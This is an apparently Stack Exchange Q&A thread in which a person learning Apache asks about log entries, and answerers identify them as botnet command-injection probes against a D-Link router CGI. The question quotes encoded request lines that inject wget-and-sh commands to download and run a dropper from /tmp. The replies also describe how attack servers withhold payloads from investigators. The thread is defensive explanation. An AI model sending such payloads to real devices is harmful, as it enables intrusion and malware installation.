I'm build a new server on Apache, actually I am learning, so I'm trying different things. My security system is already done, but of course I may miss something, or, if not, I do understand that today no one system can protect me for 100%. So, why do I think that someone tried me, just because I've recieved in my logs this: - - [01/Sep/2018:23:48:30 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://;sh%20/tmp/ngynx%27$ HTTP/1.1" 400 566 "-" "Hakai/2.0" - - [01/Sep/2018:22:48:49 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://;sh%20/tmp/hk%27$ HTTP/1.1" 400 566

There was more. I understand that this someone is getting an error 400 and that's not bad for me. So, in fact my question is not if they try me, because I think it is, because it not seems like a normal request to my site. I want to get an explanation of this request to understand and learn. What they actually trying to do, find my login system and send it to somewere?

P.S. I already know that with wget you can download some website, I also found that login.cgi is a cookie-based Authentication program.

Thank you!


Your unwelcome visitor is not trying to hide his attempt to download and run some script on your server.

He may be expecting that, not only you have such login.cgi script in place, it is also not properly handing its input, thus directly executing everything after the apostrophe (%27 in the encoded log). You probably do not have such vulnerable script, but the assumption that the HTTP code 400 always means that you are unaffected is unfounded.

This is most likely an unattended attack, directed at large groups of random targets. One can only speculate what the script that was meant to be downloaded and executed might have contained. It is safe to assume that you will not be able to determine that, because the server delivering the script will typically provide different scripts(+) depending on whether it is assuming the attack was successful so far, or it is being investigated.

It is entirely possible that the code execution was deemed unlikely by the attacker as well, instead he was just gathering information on your system. All internet-facing devices should expect such requests on a regular basis and all scripts on your web server should be written in a way that you will never have to worry about such.

(+) Why would an attacker provide different scripts? To make it harder to investigate post-compromise privilege escalation. The script would likely be lost from memory later, so making sure the victim cannot retrieve the script later makes sense for the attacker. How would the attacker provide different scripts? He would ensure that the web server only replies with the attack payload from the attacked machines IP, very shortly after the attack. As the attack can only either succeed instantaneously or fail, any later retrieval of the script can be attributed to the victims forensics team or security researchers. This is not a new or purely theoretic mechanism, I did - in 2016 - receive differing payloads based on IPs already (one script being empty, the other containing commands to load a 3rd-stage payload).

  • Yeah I know that, just wanted to wait maybe someone else have courage to answer ;) – Robbie KN Sep 2 '18 at 17:07
  • 1
    Indeed, an attacker can try every IPv4 address, and at least a few will work. – Michael Hampton Sep 2 '18 at 20:35
  • I'm just curious, how would an attack server provide a different sets of scripts based on the success of the attack? I want to say this is not possible. – RandomUs1r Sep 7 '18 at 21:55
  • 1
    @RandomUs1r It is: On the attack server, serve /ngynx, /izuku.sh etc. with a cgi or php that checks the success database, deliver content accordingly and have the malware report its success back to the attach server so that it can be recorded in the database. (Of course, more checks are needed to stop the investigators from obtaining the content, e.g. only deliver it within seconds of the /login.cgi request.) Better stop here to not give the attackers too many ideas how to improve their system. – Joachim Wagner Sep 14 '18 at 9:56

It is not a specific attack on you personally. Most likely a botnet is used to attack many to all possible IP addresses.

The login.cli script using a parameter cli seems to target for D-Link routers. It is probably a variant of D-Link DSL-2750B - OS Command Injection:

This module exploits a remote command injection vulnerability in D-Link DSL-2750B devices. Vulnerability can be exploited through "cli" parameter that is directly used to invoke "ayecli" binary. Vulnerable firmwares are from 1.01 up to 1.03.

There are collections of block lists for web servers such as nginx or Apache that you can use to block all such requests. Depending on your traffic, it can be useful to do this, especially if you have a small private website that does not expect much traffic.


I know this post is about just over a year old, however, I can add some clarity to this.

It is indeed part of a botnet. The script it is trying to download is a dropper which attempts to download, add executable bits/permissions to the downloaded file(Dropped file), and execute then remove the file.

I did some analysis on the new version of this dropper, it is an un-encoded shell script. This network has become active again today as we approach 2020.

As far as the question of using different scripts, the developer could have made separate scripts to run on different Operating systems. It appears as though someone repackaged this botnet and is trying to redistribute it. Here is a virus total Graph that shows the new activity of this particular botnet.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.